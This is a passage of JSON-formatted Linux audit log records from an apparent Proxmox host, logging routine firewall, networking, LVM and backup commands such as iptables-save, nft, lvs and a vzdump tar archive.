cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965719065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965719.065:66812): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695097,"@rawstring":"node=pve type=PATH msg=audit(1781965695.097:66706): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965719058,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965719.058:66811): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695087,"@rawstring":"node=pve type=PATH msg=audit(1781965695.087:66705): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965719058,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965719.058:66810): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695087,"@rawstring":"node=pve type=PATH msg=audit(1781965695.087:66705): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965719058,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965719.058:66809): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965695083,"@rawstring":"node=pve type=PATH msg=audit(1781965695.083:66704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.549:66808): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965695083,"@rawstring":"node=pve type=PATH msg=audit(1781965695.083:66704): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.545:66807): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965695080,"@rawstring":"node=pve type=PATH msg=audit(1781965695.080:66703): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.543:66806): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965695080,"@rawstring":"node=pve type=PATH msg=audit(1781965695.080:66703): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.543:66805): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965695080,"@rawstring":"node=pve type=PATH msg=audit(1781965695.080:66702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715537,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.537:66804): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965695080,"@rawstring":"node=pve type=PATH msg=audit(1781965695.080:66702): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.531:66803): proctitle=\"ip6tables-save\""} {"@timestamp":1781965695078,"@rawstring":"node=pve type=PATH msg=audit(1781965695.078:66701): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.522:66802): proctitle=\"iptables-save\""} {"@timestamp":1781965695074,"@rawstring":"node=pve type=PATH msg=audit(1781965695.074:66700): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715514,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.514:66801): proctitle=\"ip6tables-save\""} {"@timestamp":1781965695074,"@rawstring":"node=pve type=PATH msg=audit(1781965695.074:66700): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715505,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.505:66800): proctitle=\"iptables-save\""} {"@timestamp":1781965695074,"@rawstring":"node=pve type=PATH msg=audit(1781965695.074:66700): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.501:66799): proctitle=\"ebtables-restore\""} {"@timestamp":1781965695066,"@rawstring":"node=pve type=PATH msg=audit(1781965695.066:66699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715497,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.497:66798): proctitle=\"ebtables-restore\""} {"@timestamp":1781965695066,"@rawstring":"node=pve type=PATH msg=audit(1781965695.066:66699): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.486:66797): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965695056,"@rawstring":"node=pve type=PATH msg=audit(1781965695.056:66698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.479:66796): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965695056,"@rawstring":"node=pve type=PATH msg=audit(1781965695.056:66698): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.472:66795): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965695048,"@rawstring":"node=pve type=PATH msg=audit(1781965695.048:66697): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.465:66794): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965695048,"@rawstring":"node=pve type=PATH msg=audit(1781965695.048:66697): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.458:66793): proctitle=697073657400726573746F7265"} {"@timestamp":1781965695039,"@rawstring":"node=pve type=PATH msg=audit(1781965695.039:66696): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.449:66792): proctitle=\"ip6tables-save\""} {"@timestamp":1781965695039,"@rawstring":"node=pve type=PATH msg=audit(1781965695.039:66696): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715440,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.440:66791): proctitle=\"iptables-save\""} {"@timestamp":1781965695024,"@rawstring":"node=pve type=PATH msg=audit(1781965695.024:66695): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715434,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.434:66790): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965695024,"@rawstring":"node=pve type=PATH msg=audit(1781965695.024:66695): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.429:66789): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965694853,"@rawstring":"node=pve type=PATH msg=audit(1781965694.853:66694): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715428,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.428:66788): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965694853,"@rawstring":"node=pve type=PATH msg=audit(1781965694.853:66694): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715428,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.428:66787): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965694820,"@rawstring":"node=pve type=PATH msg=audit(1781965694.820:66693): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.423:66786): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965694820,"@rawstring":"node=pve type=PATH msg=audit(1781965694.820:66693): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.413:66785): proctitle=\"ip6tables-save\""} {"@timestamp":1781965693986,"@rawstring":"node=pve type=PATH msg=audit(1781965693.986:66692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.403:66784): proctitle=\"iptables-save\""} {"@timestamp":1781965693986,"@rawstring":"node=pve type=PATH msg=audit(1781965693.986:66692): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.397:66783): proctitle=69707365740073617665"} {"@timestamp":1781965693986,"@rawstring":"node=pve type=PATH msg=audit(1781965693.986:66691): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.387:66782): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965693985,"@rawstring":"node=pve type=PATH msg=audit(1781965693.985:66690): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965715379,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965715.379:66781): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965693981,"@rawstring":"node=pve type=PATH msg=audit(1781965693.981:66689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.137:66780): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965693981,"@rawstring":"node=pve type=PATH msg=audit(1781965693.981:66689): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.107:66779): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965693981,"@rawstring":"node=pve type=PATH msg=audit(1781965693.981:66688): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714049,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.049:66778): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965693981,"@rawstring":"node=pve type=PATH msg=audit(1781965693.981:66687): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.047:66777): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688971,"@rawstring":"node=pve type=PATH msg=audit(1781965688.971:66686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.047:66776): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688971,"@rawstring":"node=pve type=PATH msg=audit(1781965688.971:66686): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.047:66775): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688971,"@rawstring":"node=pve type=PATH msg=audit(1781965688.971:66685): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.038:66774): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688971,"@rawstring":"node=pve type=PATH msg=audit(1781965688.971:66684): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714037,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.037:66773): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688958,"@rawstring":"node=pve type=PATH msg=audit(1781965688.958:66683): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965714037,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965714.037:66772): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688958,"@rawstring":"node=pve type=PATH msg=audit(1781965688.958:66683): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965709029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965709.029:66771): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688958,"@rawstring":"node=pve type=PATH msg=audit(1781965688.958:66682): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965709029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965709.029:66770): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965688958,"@rawstring":"node=pve type=PATH msg=audit(1781965688.958:66681): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965709029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965709.029:66769): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965686005,"@rawstring":"node=pve type=PATH msg=audit(1781965686.005:66680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965709023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965709.023:66768): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965686005,"@rawstring":"node=pve type=PATH msg=audit(1781965686.005:66680): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965709023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965709.023:66767): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PATH msg=audit(1781965686.000:66679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965709023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965709.023:66766): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PATH msg=audit(1781965686.000:66679): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965708796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965708.796:66765): proctitle=746172002D63766600767A64756D702D71656D752D3837372E746172002E2F767A64756D702D71656D752D3837372D323032365F30365F32302D31355F31375F33312E766D612E7A7374"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PATH msg=audit(1781965686.000:66678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.367:66764): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PATH msg=audit(1781965686.000:66678): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.364:66763): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=PATH msg=audit(1781965686.000:66677): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.363:66762): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685992,"@rawstring":"node=pve type=PATH msg=audit(1781965685.992:66676): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.362:66761): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685992,"@rawstring":"node=pve type=PATH msg=audit(1781965685.992:66676): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.358:66760): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685992,"@rawstring":"node=pve type=PATH msg=audit(1781965685.992:66676): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.350:66759): proctitle=\"ip6tables-save\""} {"@timestamp":1781965685984,"@rawstring":"node=pve type=PATH msg=audit(1781965685.984:66675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.339:66758): proctitle=\"iptables-save\""} {"@timestamp":1781965685984,"@rawstring":"node=pve type=PATH msg=audit(1781965685.984:66675): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.334:66757): proctitle=\"ip6tables-save\""} {"@timestamp":1781965685972,"@rawstring":"node=pve type=PATH msg=audit(1781965685.972:66674): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.324:66756): proctitle=\"iptables-save\""} {"@timestamp":1781965685972,"@rawstring":"node=pve type=PATH msg=audit(1781965685.972:66674): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705319,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.319:66755): proctitle=\"ebtables-restore\""} {"@timestamp":1781965685964,"@rawstring":"node=pve type=PATH msg=audit(1781965685.964:66673): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.316:66754): proctitle=\"ebtables-restore\""} {"@timestamp":1781965685964,"@rawstring":"node=pve type=PATH msg=audit(1781965685.964:66673): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.309:66753): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965685955,"@rawstring":"node=pve type=PATH msg=audit(1781965685.955:66672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.302:66752): 